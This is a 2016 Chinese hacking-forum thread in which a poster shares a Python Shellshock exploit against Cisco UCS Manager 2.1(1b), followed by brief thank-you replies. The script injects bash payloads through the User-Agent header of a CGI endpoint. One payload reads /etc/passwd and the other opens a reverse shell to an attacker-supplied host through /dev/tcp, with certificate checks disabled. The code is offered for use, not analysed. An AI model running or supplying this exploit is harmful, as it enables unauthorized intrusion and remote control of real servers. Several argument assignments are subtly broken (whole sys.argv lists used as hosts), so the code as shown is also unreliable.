90_ 发表于 2016-3-17 13:24:21

思科UCS管理器2.1(1b) - Shellshock Exploit

新鲜的出炉的

#!/usr/bin/python
  
import sys
import requests
import time
   
if len(sys.argv) < 4:
    print "\n[*] Cisco UCS Manager 2.1(1b) Shellshock Exploit"
    print "[*] Usage: <Victim IP> <Attacking Host> <Reverse Shell Port>"
    print "[*]"
    print "[*] Example: shellshock.py 127.0.0.1 127.0.0.1 4444"
    print "[*] Listener: nc -lvp <port>"
    print "\n"
    sys.exit()
  
#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warnings()
ucs = sys.argv
url = "https://" + ucs + "/ucsm/isSamInstalled.cgi"
attackhost = sys.argv
revshellport = sys.argv
headers1 = {
        'User-Agent': '() { ignored;};/bin/bash -i >& /dev/tcp/' + attackhost + '/' + revshellport + ' 0>&1'
        }
headers2 = {
        "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo $(</etc/passwd)'
        }
  
def exploit():
    try:
        r = requests.get(url, headers=headers1, verify=False, timeout=5)
    except Exception, e:
        if 'timeout' in str(e):
            print "[+] Success.  Enjoy your shell..."
        else:
            print "[-] Something is wrong..."
            print "[-] Error: " + str(e)
  
def main():
    try:
        r = requests.get(url, headers=headers2, verify=False, timeout=3)
        if r.content.startswith('\nroot:'):
            print "[+] Host is vulnerable, spawning shell..."
            time.sleep(3)
            exploit()
        else:
            print "[-] Host is not vulnerable, quitting..."
            sys.exit()
    except Exception, e:
        print "[-] Something is wrong..."
        print "[-] Error: " + str(e)
  
if __name__ == "__main__":
    main()

08sec-君子 发表于 2016-3-17 20:08:20

:lol谢谢楼主分享

ruguoruo 发表于 2016-3-18 01:14:30

支持,看起来还是可以的

wilist 发表于 2016-3-18 01:53:55

非常感谢

Micah 发表于 2016-3-18 03:00:53

非常感谢

54hacker 发表于 2016-3-18 16:02:51

非常感谢

ljy07 发表于 2016-3-18 19:33:57

支持中国红客联盟(ihonker.org)

若冰 发表于 2016-3-19 00:30:58

谢谢楼主的分享

H.U.C-麦麦 发表于 2016-3-19 04:10:30

我是来水经验的……

小龙 发表于 2016-3-19 13:01:14

谢谢楼主的分享
页: [1] 2 3 4 5
查看完整版本: 思科UCS管理器2.1(1b) - Shellshock Exploit